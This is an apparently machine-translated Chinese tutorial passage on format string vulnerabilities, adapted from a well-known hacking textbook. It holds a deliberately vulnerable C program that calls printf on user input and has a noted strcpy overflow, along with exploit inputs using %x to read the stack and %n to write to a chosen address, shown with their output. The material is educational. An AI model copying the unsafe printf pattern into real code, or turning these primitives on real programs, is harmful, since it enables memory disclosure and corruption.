您可能可以通过多种方式直接或间接利用格式字符串漏洞。让我们以以下示例为例(假设没有相关的操作系统保护,无论如何这都是非常罕见的):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
此漏洞的基础是带有可变参数的函数的行为。实现可变数量参数处理的函数必须从堆栈中读取它们。如果我们指定一个格式字符串,该格式字符串printf()期望在堆栈上有两个整数,并且仅提供一个参数,则第二个参数将必须是堆栈上的其他内容。通过扩展,如果我们可以控制格式字符串,则可以拥有两个最基本的原语:
从任意内存地址读取
[编辑] 重要说明:我在这里对堆栈框架布局进行一些假设。如果您了解该漏洞的基本前提,则可以忽略它们,并且它们在OS,平台,程序和配置之间也有所不同。
可以使用%sformat参数读取数据。您可以在中读取原始格式字符串的数据printf(text),因此可以使用它来读取堆栈中的所有内容:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
写入任意内存地址
您可以使用%n格式说明符(几乎)写入任意地址。同样,假设我们上面的漏洞程序,让我们尝试改变的价值some_value,这是位于0x08049794,如上所示:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
我们已经覆盖some_value了%n遇到说明符(man printf)之前写入的字节数。我们可以使用格式字符串本身或字段宽度来控制此值:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
有很多尝试的可能性和技巧(直接参数访问,大字段宽度使可能的回绕,构建自己的基元),这简直触及了冰山一角。我建议阅读更多有关fmt字符串漏洞的文章(Phrack有一些非常出色的文章,尽管它们可能有些高级)或一本涉及该主题的书。
免责声明:例子取材于乔恩·埃里克森(Jon Erickson )的《黑客:剥削的艺术》(第二版) [尽管不是逐字记录] 。